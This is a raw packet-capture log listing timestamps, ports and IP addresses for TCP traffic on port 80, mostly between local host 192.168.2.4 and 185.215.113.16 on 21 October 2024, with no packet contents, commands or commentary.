Oct 21, 2024 10:47:19.024241924 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024250031 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.024252892 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024262905 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024270058 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.024279118 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024287939 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.024288893 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024298906 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024307966 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024317980 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024327040 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024336100 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024346113 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024355888 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024357080 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.024368048 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024373055 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.024377108 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024388075 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.024389029 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024396896 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024405003 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.024408102 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024418116 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024430037 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024439096 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024450064 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024458885 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024467945 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024477005 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024486065 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024497032 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024506092 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024507046 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.024516106 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024532080 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.024549961 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.062128067 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:19.064290047 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064305067 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064317942 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064346075 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.064377069 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.064392090 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064410925 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064421892 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064434052 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064445019 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064455986 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064522982 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.064527988 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064538956 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064549923 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064560890 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064572096 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064583063 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064584017 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.064604044 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.064610004 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064621925 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064626932 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064631939 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064635992 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.064637899 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064642906 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064654112 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064659119 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064668894 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064723015 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064733982 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064744949 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064754963 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064768076 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064779043 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064791918 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064873934 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064886093 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.064889908 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064902067 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.064918995 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.064939022 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.064999104 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065009117 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065020084 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065031052 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065043926 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065046072 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065062046 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065079927 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065159082 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065167904 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065186024 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065195084 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065201044 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065205097 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065215111 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065224886 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065232992 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065234900 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065244913 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065256119 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065264940 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065289021 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065455914 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065465927 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065475941 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065485954 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065495968 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065499067 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065505981 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065515995 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065522909 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065537930 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065551043 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065608978 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065618992 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065634966 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065643072 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065645933 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065654993 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065661907 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065666914 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065676928 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065680027 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065686941 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065691948 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065701962 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065713882 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065725088 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065732956 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065745115 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065747023 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065752983 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065757990 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065772057 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065783024 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065793037 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065793991 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065804958 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065810919 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065815926 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065825939 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065833092 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065836906 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065846920 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065856934 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065857887 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065866947 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065869093 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065871954 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065881968 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065886021 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065898895 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065908909 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065908909 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065917015 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065928936 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065932035 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065937042 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065948009 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065952063 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065962076 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.065964937 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065973997 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065989971 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.065990925 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.066003084 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066014051 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.066014051 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066025019 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066031933 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.066039085 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066051006 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066061974 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.066061974 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066072941 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066078901 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066086054 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.066113949 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066124916 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066133976 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066139936 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066144943 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066148996 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066154003 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066157103 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066209078 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.066255093 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.066286087 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066294909 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066301107 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066309929 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066314936 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066325903 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.066340923 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.066356897 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.067040920 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:19.067492962 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067509890 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067519903 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067538023 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.067559958 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.067753077 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067763090 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067773104 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067785025 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067795992 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067797899 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.067805052 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067811966 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.067816019 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067825079 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067836046 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067842960 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.067845106 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067856073 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067859888 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067864895 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.067864895 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067869902 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067903042 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067924023 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067933083 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067940950 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067956924 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067960024 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.067967892 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067976952 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067984104 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.067986965 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067996025 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.067997932 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068010092 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068015099 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068017006 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068032026 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068037987 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068042040 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068052053 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068056107 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068063021 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068068027 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068072081 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068079948 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068083048 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068099976 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068110943 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068120956 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068130970 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068140030 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068149090 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068159103 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068160057 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068169117 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068176985 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068178892 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068185091 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068197012 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068203926 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068218946 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068223953 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068238974 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068248034 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068255901 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068264961 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068273067 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068276882 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068279028 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068293095 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068308115 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068324089 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068372011 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068386078 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068423986 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068579912 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068591118 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068599939 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068612099 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068623066 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068633080 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068643093 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068649054 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068653107 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068662882 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068672895 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068682909 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068687916 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068692923 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068706989 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068711042 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068721056 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068722010 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068730116 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068739891 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068739891 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068751097 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068758011 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068762064 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068789959 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068804979 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068862915 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068873882 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068881989 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068892956 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068903923 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068912029 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068913937 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068924904 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068934917 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068938971 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068947077 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068955898 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068958044 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068969011 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068970919 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.068979979 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.068995953 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.069010019 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069020033 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069029093 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069076061 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069078922 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.069086075 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069097042 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069106102 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069117069 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069224119 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.069238901 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069257021 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069267035 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069283009 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069292068 CEST	80	49914	185.215.113.16	192.168.2.4
